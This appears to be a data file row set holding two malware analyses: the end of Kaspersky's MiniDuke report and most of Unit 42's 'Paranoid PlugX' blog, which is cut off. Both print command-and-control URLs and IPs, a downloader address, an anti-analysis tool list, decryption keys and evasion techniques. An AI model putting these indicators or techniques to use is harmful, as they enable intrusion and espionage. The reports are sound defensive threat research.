called in the code like this: New exploit: var sCIENZA = q1w2e3r4t(vOLENCI[sHOGG('ODNEDNERp',3329,7937)], gIRARSI); Older (\xe2\x80\x9cVisaform Turkey.pdf\xe2\x80\x9d) exploit: PAGE 5| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | var sCIENZA = oTHERWISE (vOLENCI['pRENDENDO'], gIRARSI); In addition, the JS code is now in compressed format, while the original sample had it in plaintext. The reason behind the changes is probably to avoid detection by anti-malware products although this doesn\xe2\x80\x99t prevent our product from detecting it heuristically as \xe2\x80\x9cHEUR:Exploit.Script.Generic\xe2\x80\x9d. The shellcode contained in the PDF document is similar to that used in the documents carrying the \xe2\x80\x9cItaduke\xe2\x80\x9d payload, with some differences. For instance, after exploiting the vulnerability, it searches for a specific signature within the PDF file. While the \xe2\x80\x9cItaduke\xe2\x80\x9d shellcode was looking for \xe2\x80\x9c!H2bYm.Sw@\xe2\x80\x9d, the MiniDuke version uses a different signature, \xe2\x80\x9c@34fZ7E*p\\\xe2\x80\x9d. Signature in the Itaduke PDF file Signature in the Miniduke PDF file Once the payload signature is found, it is decrypted with XOR and then decompressed using RtlDecompressBuffer API (LZNT1). The resulting PE file is written to a temporary file and loaded using LoadLibary API. The resulting dynamic library implements the second stage of installation. It contains two binary resources, 101 and 102. Resource 101 is the main backdoor DLL component. It is written to the %AppData% directory and loaded using LoadLibary API. Resource 102 is the decoy PDF document. It is written to the Internet cache directory and then opened using a simple BAT file: TASKKILL /F /IM acro* ping -n 1 127.0.0.1>nul start """" ""%path to decoy PDF document%"" The filenames of the dropped files are hardcoded in their resources. Beginning of the resource 101 with its filename Beginning of the resource 102 with its filename Interestingly, the malware dropper contains the following paths: \xe2\x97\x8f \xe2\x80\x9cc:\\src\\dlldropper\\Release\\L2P.pdb\xe2\x80\x9d. \xe2\x97\x8f \xe2\x80\x9cC:\\src\\hellodll\\Release\\hellodll.pdb\xe2\x80\x9d. PAGE 6| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | These paths did not exist in the dropper of original PDF (\xe2\x80\x9cVisaform Turkey.pdf\xe2\x80\x9d). If we are to trust the PE headers, the dropper was compiled on Feb 20, 2013: \xe2\x80\x98Hungarian\xe2\x80\x99 dropper compilation time - \xe2\x80\x9cFeb 20 10:51:16 2013\xe2\x80\x9d The backdoor used in the Hungarian case was compiled on \xe2\x80\x9cFeb 20 10:57:52 2013\xe2\x80\x9d, just minutes after the dropper was created. Perhaps the most unusual thing about these three new attacks is the malware they drop. In all the analyzed cases, the dropped malware is in the form of a 22,528 bytes DLL file. Parts of the malicious DLL file are encrypted with information related to the system configuration, which ensures it will only work properly on the victim\xe2\x80\x99s system. If copied to another computer, the malware will be unable to function successfully. The backdoor is written in \xe2\x80\x9cold school\xe2\x80\x9d assembler and is tiny by current standards - only 20 KB. This is most unusual for modern malware, which can be several megabytes in size. It has a small decryptor at the beginning that decrypts the main body. All three cases use different encryption keys. Another peculiarity is that the backdoor has no imports: all functions are scanned from memory and are called dynamically. It is also interesting that the first two Win32 APIs resolved and called by the unpacking stub are ntdll.LdrLoadDll and kernel32.VirtualProtectEx. These two functions are not called according to the \xe2\x80\x9c_stdcall\xe2\x80\x9d convention. Instead, a \xe2\x80\x98jmp ebx\xe2\x80\x99 instruction is executed after manually building the stack. Clearly some thought went into creating anti-emulation and anti-scanning techniques with this malware. Backdoor analysis The backdoor has a single export, which for instance is named \xe2\x80\x9cJorNgoq\xe2\x80\x9d in the Hungarian case. When this export is called at load, the backdoor sets the \xe2\x80\x9c.rdata\xe2\x80\x9d section\xe2\x80\x99s permissions to \xe2\x80\x9cRWX\xe2\x80\x9d and sets the mutex to a hardcoded string \xe2\x80\x9cnljhfdb\xe2\x80\x9d. The entrypoint of the library (DllMain) is obfuscated and the main body of the malware is encrypted. The encryption is rather simple: the \xe2\x80\x9c.rdata\xe2\x80\x9d section of the library is ROL\xe2\x80\x99ed with a linear key and XOR\xe2\x80\x99ed with a fixed key. Both keys are derived from the length of the encrypted part. PAGE 7| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Decryption loop in the obfuscated code. 0x4522 is the actual size of the encrypted part Once finished decrypting, the library proceeds to the real \xe2\x80\x9cmain\xe2\x80\x9d function. The main part of the library is written in Assembler, in an \xe2\x80\x9cold-school\xe2\x80\x9d manner typical for low-level viruses. The code is position independent; it has no imports and resolves API function addresses by hash values of their names. . Typical low-level malware programming style: passing strings as parameters via call, addressing API functions by hash values The backdoor maintains seven call addresses that each maintain their own block of functionality. The first block calls GetAsyncKeyState twice, checking for a mouse click, which indicates user activity in the system. The second block searches for all \xe2\x80\x9c*.exe\xe2\x80\x9d and \xe2\x80\x9c*.dll\xe2\x80\x9d files located in the %temp% directory. The third block fetches information about the infected system with calls to gather information about the CPU, drive and the computername - these are used to decrypt the backdoor\xe2\x80\x99s main body, which is custom encrypted for each unique victim. PAGE 8| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | The fourth block attempts to maintain self-protection from malware analysis. Below is the list of tools (and VMware) that it attempts to identify and protect against. It fetches the list of running processes on the system and attempts to identify if these tools are among them: apispy32.exe, apimonitor.exe, winapioverride32.exe, procmon.exe, filemon.exe, regmon.exe, winspy.exe, wireshark.exe, dumpcap.exe, tcpdump.exe, tcpview.exe, windump.exe, netsniffer.exe, iris.exe, comview.exe, ollydbg.exe, windbg.exe, odb.exe, ImmunityDebugger.exe, syser.exe, idag.exe, idag64.exe, petools.exe, vboxtray.exe, vboxservice.exe, procexp.exe, vmtools.exe, vmwaretray.exe, vmwareuser.exe If any of the tools above are detected on the system, the malware will continue running on the system without further decrypting its code and exhibiting any other functionality. This will prevent it from doing any outbound communications with Twitter accounts, as described below. In other words, it will attempt to appear non-functional, especially to automated analysis, hiding its true nature behind its layers of encryption. User agent strings for web browsers like Opera, Mozilla and Internet Explorer are decrypted and used for all Internet access. Oddly, there are Linux versions included as well: (Windows NT 5.1; (Windows NT 6.0; (Windows; U; Windows NT 5.2; (X11; Linux i686; (X11; Linux x86_64; (compatible; MSIE 6.0; Windows NT 5.0; (compatible; MSIE 7.0; Windows NT 6.0; (compatible; MSIE 9.0; Windows NT 6.1;WOW64) ;Trident/4.0) ; Trident/5.0) ; WOW64; Trident/5.0) ; SV1) ) The fifth and sixth code blocks are most interesting. They calculate the SHA1 of main system information which will be used in the C2 interaction later. Following the SHA-1 hash generation, the backdoor will base64 encode its unique hash for later C2 communication. The malware is activated upon reboot of the infected machine. To gain control at boot, it writes a randomly named LNK file to the startup folder, which in turn calls the main body using rundll32: PAGE 9| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | PAGE 10| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | In the picture above, the malware\xe2\x80\x99s main body is stored as \xe2\x80\x9cstat.bin\xe2\x80\x9d (a randomly selected name) in the \xe2\x80\x9cAdobe\xe2\x80\x9d folder. The LNK file calls it only exported function, \xe2\x80\x9cImqRgno\xe2\x80\x9d. Once activated, the malware will first contact Twitter and look for posts from some very specific accounts. These accounts should have posted an encrypted string which contains the magic identifier \xe2\x80\x9curi!\xe2\x80\x9d, then an encrypted c2 string. PAGE 11| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | We presume many other Twitter accounts exist with similar parameters. The encrypted \xe2\x80\x9curi!\xe2\x80\x9d holds a different c2 for each version of the malware: Attack location Command & control server C2 IP / location path on C2 PAGE 12| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Hungary arabooks[dot]ch 194.38.160.153 / Switzerland /lib/index.php Luxemburg artas[dot]org 95.128.72.24 / France /engine/index.php Belgium tsoftonline[dot]com 72.34.47.186 / United States /views/index.php (Multiple) www[dot]eamtm[dot]co m 188.40.99.143 / Germany /piwik/web/index.php It\xe2\x80\x99s most likely that these websites have been hacked by the attackers and injected with the command and control PHP script. Secondly, the malware will connect to \xe2\x80\x9cwww.geoiptool.com\xe2\x80\x9d to obtain information about the victim\xe2\x80\x99s location. Interestingly, the backdoor has another update/c2 functionality. It searches Google for a very specific string: The string \xe2\x80\x9clUFEfiHKljfLKWPR\xe2\x80\x9d which the malware seeks on Google The pages found by the Google search may hold an update \xe2\x80\x9curi\xe2\x80\x9d similar to the one from Twitter. We can assume the attackers wanted to have a second channel for updates in case the Twitter accounts are closed. http://www.geoiptool.com/ PAGE 13| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Stage 2 The \xe2\x80\x9cindex.php\xe2\x80\x9d on the C2 serves a fake GIF file to the victim, depending on the parameters it receives. Here\xe2\x80\x99s what one of these GIF files looks like: Here\xe2\x80\x99s one example of a malicious request for the C2 domain \xe2\x80\x9carabooks*dot+ch\xe2\x80\x9d: arabooks.ch/lib/index.php?ia=TJ2b7uzMuh4fnt2n7aJisckAj6pEvkLPPsmk5gC77rPeYKmj8z58UWS1szY0FGzkp[REMOVED]lhUDx vzo1_IpYHfDI2MTg2NTM5OTF8MS4xMw== The picture from the GIF file is actually very small and reminds us of the method used by Duqu back in 2011 to hide data, known as \xe2\x80\x98steganography\xe2\x80\x99: At offset 0x6a4 inside the GIF file, there is a hidden encrypted PE file. The encryption scheme used a DWORD key also stored in the GIF file that is rotated. Effectively, this translates to an 8 byte long XOR key. The resulting encryption key used in the Hungarian attack for instance is {0xD2, 0x2A, 0xA2, 0x27, 0x79, 0x95, 0x52, 0x2D}. In the Belgian attack, it is {0xC5, 0x5E, 0xEE, 0xE5, 0x51, 0x11, 0x17, 0x7C}. For the Luxemburg attack, the key is {0x91, 0x18, 0x8C, 0xC1, 0x1C, 0xC9, 0x9C, 0xC9}. PAGE 14| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Decrypted payload from the fake GIF file served by the C2 The decrypted PE file (plugin / payload) is also written in assembler and, once again, it is encrypted with the same algorithm as the backdoor originally deployed in the system. We refer to it as \xe2\x80\x9cstage 2\xe2\x80\x9d. The main backdoor body saves the plugin with different names, for instance, it can be \xe2\x80\x9cxml.dat\xe2\x80\x9d and tries to run its only export using rundll. In our case, this didn\xe2\x80\x99t appear to work very well: PAGE 15| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Several different variants of the 2nd stage backdoors have been observed on the C2; they all perform similar functions but are encrypted with different keys and contact different C2s. Command & control server information The malware connects to several C2s depending on the information available on the control Twitter accounts or on Google. For instance, on \xe2\x80\x9cartas*dot+org\xe2\x80\x9d it connects to \xe2\x80\x9c/engine/index.php\xe2\x80\x9d. Interestingly, the \xe2\x80\x9cimg\xe2\x80\x9d subfolder allows listings and we can see several variants of the backdoor encrypted as GIF files: PAGE 16| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | On \xe2\x80\x9ctsoftonline*dot+com\xe2\x80\x9d, the folder has the same structure: Interestingly, on \xe2\x80\x9ctsoftonline*dot+com\xe2\x80\x9d we have several other files with different kind of names and sizes. They are larger and follow a different naming scheme: \xe2\x80\x9c*number+.gif\xe2\x80\x9d. We believe they are custom backdoors delivered only to specific victims by the attackers. We refer to these as \xe2\x80\x9cstage 3\xe2\x80\x9d. PAGE 17| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Stage 3 While we were analyzing the samples, the attackers connected to the C2 and added a custom backdoor as \xe2\x80\x9c1109821546.gif\xe2\x80\x9d: ""http://tsoftonline.com/views/img/1109821546.gif"" HTTP/1.1 200 OK Date: Mon, 25 Feb 2013 12:34:13 GMT Server: Apache Last-Modified: Mon, 25 Feb 2013 10:59:49 GMT ETag: ""7c8251-5190d-4d68a708d9340"" Accept-Ranges: bytes Content-Length: 334093 Content-Type: image/gif This custom backdoor, referred to as \xe2\x80\x9cstage 3\xe2\x80\x9d, is much bigger than the previous ones \xe2\x80\x93 300K+ in size. This is because the attackers used large layers of obfuscation code, including UCL compression. So far, we have observed two variants of the 300K \xe2\x80\x9cstage 3\xe2\x80\x9d backdoor. The PE compilation timestamp for both is \xe2\x80\x9cMon Jun 18 17:28:11 2012\xe2\x80\x9d. The number \xe2\x80\x9c1109821546\xe2\x80\x9d in the filename refers to the unique victim ID. In this case, we were able to determine that the victim is based in Portugal. The backdoor connects to the following C2 for instructions: news[dot]grouptumbler[dot]com/news/feed.php IP: 200.63.46.23 It supports several commands, such as copy file, move file, remove file, make directory, kill process and of course, download and execute new malware. The server at 200.63.46.23 is hosted in Panama: PAGE 18| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | We presume that it was hacked by the attackers and is currently used as a command server for the attacks. MD5 hashes for the known \xe2\x80\x9cStage 3\xe2\x80\x9d backdoors: 1e1b0d16a16cf5c7f3a7c053ce78f515 v1.ex_ 53db085a276ebbf5798ba756cac833ea v2.ex_ In addition to the ~300K \xe2\x80\x9cstage 3\xe2\x80\x9d backdoors, we\xe2\x80\x99ve observed a 13K module (MD5: 6bc34809e44c40b61dd29e0a387ee682).This module will connect to an IP in Turkey, get the response, decrypt it in memory and execute it. The C2 is: 85.95.236.114 The module has a compilation timestamp of \xe2\x80\x9cTue Nov 13 14:30:12 2012\xe2\x80\x9d. Map of victims The C2s maintain a detailed, encoded log of the victims connecting to the servers. The logs are available to anyone who knows the exact filename. By collecting the logs from all the known command servers, we\xe2\x80\x99ve discovered connections from several high profile networks belonging to: Country Network Ukraine Government, Private company Belgium Possible Embassy / Government Portugal Government Romania Government PAGE 19| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | Czech Republic Government Ireland Government United States Think tank(s), Research institute, Healthcare provider Hungary Social foundation By analyzing the logs from the command servers, we have observed 59 unique victims in 23 countries: Belgium, Brazil, Bulgaria, Czech Republic, Georgia, Germany, Hungary, Ireland, Israel, Japan, Latvia, Lebanon, Lithuania, Montenegro, Portugal, Romania, Russian Federation, Slovenia, Spain, Turkey, Ukraine, United Kingdom and United States. The amount of high profile victims in this attack is notable and puts it on the same level with other advanced campaigns such as \xe2\x80\x9cRed October\xe2\x80\x9d. Mitigation and recommendations To protect against these attacks, we recommend that you: \xe2\x97\x8f Update Java to the latest version or simply remove it from the system if not used \xe2\x97\x8f Update Microsoft Windows and Office to the latest versions \xe2\x97\x8f Update Adobe Reader to the latest version (see https://www.adobe.com/support/security/bulletins/apsb13-07.html) \xe2\x97\x8f Block traffic to the following domains: \xe2\x97\x8b arabooks.ch \xe2\x97\x8b artas.org \xe2\x97\x8b tsoftonline.com \xe2\x97\x8b www.eamtm.com \xe2\x97\x8b news.grouptumbler.com \xe2\x97\x8f Block traffic to the following IPs: \xe2\x97\x8b 200.63.46.23 \xe2\x97\x8b 194.38.160.153 \xe2\x97\x8b 95.128.72.24 \xe2\x97\x8b 72.34.47.186 \xe2\x97\x8b 188.40.99.143 \xe2\x97\x8b 85.95.236.114 \xe2\x97\x8f Install a security solution capable of detecting these threats such as Kaspersky Internet Security 2013 and scan all emails and received documents \xe2\x97\x8f Be wary of opening suspicious documents on your systems; instead, use another computer without an Internet connection, a VM, or upload the document to Google Docs for viewing In addition, infected PDFs contain the following string, which can be used as a quick way to find them: \xe2\x80\x9c@34fZ7E*p\\\xe2\x80\x9d Conclusions Based on our experience, this is a unique and very strange attack. The many different targets hit in separate countries, together with the high profile appearance of the decoy documents and the weird backdoor functionality indicate an unusual threat actor. Some of the elements remind us of both Duqu and Red October, such as the minimalistic approach, hacked servers, encrypted channels but also the typology of the victims. https://www.adobe.com/support/security/bulletins/apsb13-07.html http://www.eamtm.com/ PAGE 20| The MiniDuke Mystery: PDF 0-day Government Spy Assembler 0x29A Micro Backdoor | The backdoor coding style reminds us of a malware writing group which is believed to be extinct: 29A. The value 29A in hex means 666, and perhaps not unsurprisingly, was also left by the attackers as a clue in the code: The 29A / 666 clue left in the code by the attackers 29A published their first malware magazine in December 1996 and were active until February 2008, when \xe2\x80\x98Virusbuster\xe2\x80\x99, the last standing man announced the group\xe2\x80\x99s dismissal. The logs from the Command & Control servers indicate determination and quite a bit of success in compromising several high profile entities in various countries. The stage 3 compilation timestamps indicate the attacker has been active for quite a while but still managing to remain undetected. Perhaps one of the most important questions is: are these attacks related to the \xe2\x80\x9cItaduke\xe2\x80\x9d attack that prompted the discovery of the PDF 0-day? Or is it a separate entity that purchased the attack kit from the same source, which has a different agenda? Or, is it perhaps another threat actor which captured the 0-day exploit and modified it for other purposes? Unfortunately, there are still many unanswered questions. Note: We detect the malware described here as HEUR:Backdoor.Win32.MiniDuke.gen, Backdoor.Win32.Miniduke while the documents with exploits are detected as Exploit.JS.Pdfka.giy. References: \xe2\x97\x8f \xe2\x80\x9cIn Turn it\xe2\x80\x99s PDF Time\xe2\x80\x9d http://blog.fireeye.com/research/2013/02/in-turn-its-pdf-time.html \xe2\x97\x8f \xe2\x80\x9cDuqu: Steal everything\xe2\x80\x9d http://www.kaspersky.com/about/press/duqu http://blog.fireeye.com/research/2013/02/in-turn-its-pdf-time.html http://www.kaspersky.com/about/press/duqu","0","0","0","0","0","1","1","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0" -"Paranoid PlugX Menu Tools Playbooks Speaking Events About Us Paranoid PlugX 20,275 people reacted 0 11 min. read Share By Tom Lancaster and Esmid Idrizovic June 27, 2017 at 5:00 AM Category: Unit 42 Tags: Application Whitelisting Bypass, PlugX, threat intelligence The PlugX malware has a long and extensive history of being used in intrusions as part of targeted attacks. PlugX is still popular today and its longevity is remarkable. The malware itself is well documented, with multiple excellent papers covering most aspects of its functionality. Some of the best write-ups on the malware are cited below: TR-12 \xe2\x80\x93 Analysis of a PlugX malware variant used for targeted attacks. (Circl) Analysis of a Recent PlugX Variant \xe2\x80\x93 \xe2\x80\x9cP2P PlugX\xe2\x80\x9d (JPCert) PlugX some uncovered points (Airbus) PlugX \xe2\x80\x93 The Next Generation (Sophos) Given this wealth of information in the public domain, PlugX receives a lot of attention from security vendors who put efforts into providing detection mechanisms for it. Despite this, it remains a tool of choice for many attackers today, meaning that if attackers are to be successful in using the malware, they must innovate in the delivery and installation of the malware if they are to successfully infect their targets. This article discusses a group of PlugX samples which we believe are all used by the same attacker(s), and the measures they have taken to attempt to bypass security mechanisms. The targets of these attacks appear to primarily be companies in the video games industry, although other targets may exist outside of our telemetry. Specifically, we discovered a series of samples using interesting techniques with respect to: Resolution of an initial C2 address Combining PlugX with open source tools to initially load the malware Avoiding detection on disk Palo Alto Networks defends our customers against the samples discussed in this blog in the following ways: Wildfire identifies all files mentioned in this article as Malicious. Traps\xc2 4.0 can be configured to protect the processes that are cited as being abused in this blog from loading malicious code. Palo Alto Networks\xe2\x80\x99 AutoFocus customers can track samples related to this blog via the tag: ParanoidPlugX Related IOCs are provided in Appendix A of this blog. An RTF, an MSI file, a .NET Wrapper and two stages of Shellcode walk into a bar\xe2\x80\xa6 Our journey begins with an RTF file named \xe2\x80\x9cNew Salary Structure 2017.doc\xe2\x80\x9d, which exploits CVE-2017-0199. \xc2 The mechanics of this exploit are already well covered, and as such do not require further discussion here. The document reaches out to download its initial payload from the following URL: hxxp://172.104.65[.]97/Office.rtf This is a downloader script which attempts to download and execute two payloads, the code is shown below: 1 2 3 4 5 The first payload is a Windows Installer (MSI) file, and dynamic analysis of this file piqued out interest. \xc2 \xc2 We could see the malware was PlugX from its actions, yet the C2 address was a pastebin.com URL. Looking at the Pastebin post we expected to immediately identify a block of text which would later decode to a C2 address, but glancing at the returned content we were unable to immediately identify the C2. The second file is a PowerShell script which appears to be based on a Rapid7 Ruby Exploitation script that loads arbitrary shellcode. In this case, the shellcode is a copy of PlugX and is the same shellcode contained in the MSI file that we will dissect below. .NET Wrapper The main payload is delivered in a Microsoft .NET Framework file within previously mentioned MSI file. When executed, the .NET Framework wrapper will first check if VMware tools is running in background, this is done via a simple process check, searching for any process named \xe2\x80\x9cvmtoolsd.\xe2\x80\x9d Provided there are no matching processes running, the malware continues execution, creating a registry entry with the name \xe2\x80\x98MSASCuiLTasks\xe2\x80\x99 in HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce for persistence. This registry key causes the malware to run again each time the system reboots. Next, it will copy the first stage shellcode in memory and create a new thread with the shellcode running in it, the code responsible for this execution is shown in Figure 1. The shellcode is not encrypted but is obfuscated. Figure 1 \xe2\x80\x93 The main code from the .NET wrapper, with the Shellcode array being created and executed in a new thread. The first shellcode decrypts a further shellcode block. This second shellcode block in turn, will unpack the main PlugX DLL in memory using RtlDecompressBuffer. As is typical for PlugX, the header of the final DLL is missing its magic DOS and NT image headers, which are replaced with XV instead of MZ and PE as shown in Figure 2. Figure 2 \xe2\x80\x93 The decoded DLL payload using the wrong header, XV instead of MZ/PE. Finally, the second shellcode block will resolve the imports and relocations and jump to the entry point of the DLL. Encrypted Configuration in shellcode The configuration information for the malware, including the C2 information are encrypted in the first shellcode blob and are passed as an argument to the DllMain function of the main PlugX DLL. This DLL itself also contains a default configuration to connect to the localhost on port 12345. This means \xc2 if you extract the DLL manually and execute it then it will connect to localhost:12345 rather than the real C2 server, which was passed as an initial argument to the DLL by the first shellcode. Decrypting the Configuration As previously mentioned, the real configuration data is stored in the first stage shellcode but it is not stored in cleartext, but encrypted and compressed. The configuration data is encrypted with the same algorithm described previously by JPCert but using a different XOR value. The versions discussed in the JPCert blog post used 20140918, 353 while the versions we examined use XOR values of 20141118, 8389. The same decryption routine is also used for any other string obfuscation or file encryption as required by this sample of PlugX. After decrypting the strings, they must be further decompressed using LZNT1. For that we can use a Python script, included in Appendix B \xe2\x80\x93 Python Scripts. After decrypting and decompressing the strings, we can trivially identify aspects of the PlugX configuration. For example, we can see it will inject itself to one these three processes: %ProgramFiles(x86)%\\Sophos\\AutoUpdate\\ALUpdate.exe %ProgramFiles(x86)%\\Common Files\\Java\\Java Update\\jusched.exe %ProgramFiles(x86)%\\Common Files\\Adobe\\ARM\\1.0\\armsvc.exe The attempt to inject itself into a process belonging to antivirus product suite is particularly bold. In addition to this, the malware queries four PasteBin links to extract the C2 addresses from these links: https://pastebin[.]com/eSsjmhBG https://pastebin[.]com/PSxQd6qw https://pastebin[.]com/CzjM9qwi https://pastebin[.]com/xHDSxxMD A full list of the extracted strings from the configuration is given in Appendix D \xe2\x80\x93 Extracted PlugX Strings. Extracting C2 PlugX has a feature to extract encrypted C2 configurations from a given URL. In this case, the attackers were creative in hiding the string in a seemingly legitimate block of text. An example of the content retrieved from Pastebin is given below: ---- BEGIN SSH2 PUBLIC KEY ---- Comment: ""rsa-key"" AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd 8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3 /KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps 8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE 2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ= ---- END SSH2 PUBLIC KEY ---- 1 2 3 4 5 6 7 8 ---- BEGIN SSH2 PUBLIC KEY ---- Comment: ""rsa-key"" AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd 8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3 /KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps 8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE 2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ= ---- END SSH2 PUBLIC KEY ---- At first glanced we missed it, but the paste uses the same technique discussed in this Airbus post. It parses the \xe2\x80\x9cRSA key\xe2\x80\x9d looking for magic values \xe2\x80\x9cDZKS\xe2\x80\x9d and \xe2\x80\x9cDZJS\xe2\x80\x9d. It then reads and decrypts the content between these values to yield an IP address as shown below: ---- BEGIN SSH2 PUBLIC KEY ---- Comment: ""rsa-key"" AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd 8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3 /KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps 8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE 2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ= ---- END SSH2 PUBLIC KEY ---- 1 2 3 4 5 6 7 8 ---- BEGIN SSH2 PUBLIC KEY ---- Comment: ""rsa-key"" AAAAB3NzaC1yc2EAAAABJQAAAQEAhLxZe4Qli9xt/WknQK9CDLWubpgknZ0HIHSd 8uV/TJvLsRkjpV+U/tMiMxjDwLAHVtNcww2h8bXTtw387M2Iv/mJjQ9Lv3BdNiM3 /KvmlpeJZrrFu2n5UC9=DZKSDAAADOECEDFDOCCDEDIDOCIDEDOCHDDZJS=oT+Ps 8wD4f0NBUtDdEdXhWp3nxv/mJjQ9Lv3BCFDBd09UZzLrfBO1S0nxrHsxlJ+bPaJE 2Q/oxLXTrpeJ6AHyLyeUaBha3q9niJ= ---- END SSH2 PUBLIC KEY ---- A Python script to decode strings encrypted with this technique is given in Appendix B \xe2\x80\x93 Python Scripts. An overview of the whole execution flow for this sample is given in Figure 3. Figure 3 \xe2\x80\x93 An overview of the execution flow for this sample. In all, the attackers have chained together many disparate pieces of code both custom and open source, all in order to load PlugX. Given the number of components, this would have taken a reasonable amount of time and indicates their dedication to evading detection whilst continuing to use the same malware. Pivoting to other PlugX samples Based on our findings above, we identified other examples of interesting PlugX samples. These other examples were identified based on similar samples that were sent to the targeted organizations, infrastructure used by the attackers, as well as unique delivery mechanisms for samples. Paranoid PlugX One related series of PlugX samples we examined appeared to be particularly \xe2\x80\x9cparanoid\xe2\x80\x9d about being detected on disk and so taking specific anti-forensics steps to defeat being detected on the disk. One example of these samples is given below: SHA256:6500636c29eba70efd3eb3be1d094dfda4ec6cca52ace23d50e98e6b63308fdb The file is a self-extracting RAR, which is a common delivery mechanism for PlugX particularly when the eventual payload will be sideloaded by a legitimate executable. In that respect this case is no different, as the eventual payload executed by a legitimate signed Microsoft binary which loads the DLL \xe2\x80\x9cBlackBox.dll\xe2\x80\x9d. However, in order to kick off the execution of the malware the attacker uses a batch script which executes the malware, but the batch script does more than simply initiate execution of the malware. After running the malware, the batch script goes on to cleans up all signs of its existence on the system, this includes: Deletion of all initial files created during installation, as well as all associated files required on disk during initial execution. Deletion of all registry keys associated with the extraction of the SFX RAR Deletion of the User Assist Key entries related to applications that have been recently executed Deletion of all registry keys relating to services that have recently run Clearly the attacker using this PlugX is paranoid about it being detected on disk, both in the registry and the file system. To top this off the script runs most of the deletion commands more than once. The result is that there should be no evidence that the malware was ever executed on the disk, making it harder for forensics teams to identify how the malware got there, and meaning that memory or network based detection would be required to identify the intrusion. The full contents of the batch script are given in Appendix C \xe2\x80\x93 a.bat. The power of open source & PlugX In the first half of 2017, we saw attackers begin to improve upon this \xe2\x80\x9cParanoid\xe2\x80\x9d version of PlugX \xe2\x80\x93 it wasn\xe2\x80\x99t enough to be in memory-only after getting infecting the system, the attackers also wanted to bypass application whitelisting techniques in use by network defenders. To this end, they began incorporating open source techniques, in particular those that have been assembled in a list authored by the GitHub user SubTee. For example, the following sample loads the malware as shellcode within a .NET Framework project using msbuild.exe, effectively bypassing application whitelisting techniques: SHA256: 822b313315138a69fc3e3f270f427c02c4215088c214dfaf8ecb460a5418c5f3 This sample approximately follows the GIST published here, but has additional code which appears to be custom to our attacker which acts as a helper to load the shellcode. The shellcode is, as in our first example, another PlugX payload. In another case the attackers use another code snippet borrowed from the SubTee GitHub project, this time filling in a fully templated .NET application whitelist bypass file: SHA256: 3e9136f95fa55852993cd15b82fe6ec54f78f34584f7689b512a46f0a22907f2: This time the attacker didn\xe2\x80\x99t have to write any of their own code, instead they were simply able to paste their shellcode directly into a template, in order to launch PlugX as a child process of a trusted application. Conclusions & Mitigations While PlugX has been well understood by the security community for years, attackers continue to use the malware. Some possible reasons for this continued use include: The operators of the malware are familiar and comfortable with the existing malware, meaning they are reluctant to change. Though competent at packaging PlugX in different ways, the attackers would struggle to write a fully featured malware like PlugX. The effort required to rebuild a malware as complex as PlugX is not worth the effort when they can bypass defenses without doing so. In all likelihood, a combination of these three factors is behind the continued prevalence of the malware. Many PlugX attackers continue to use relatively mundane techniques to load the malware, making it 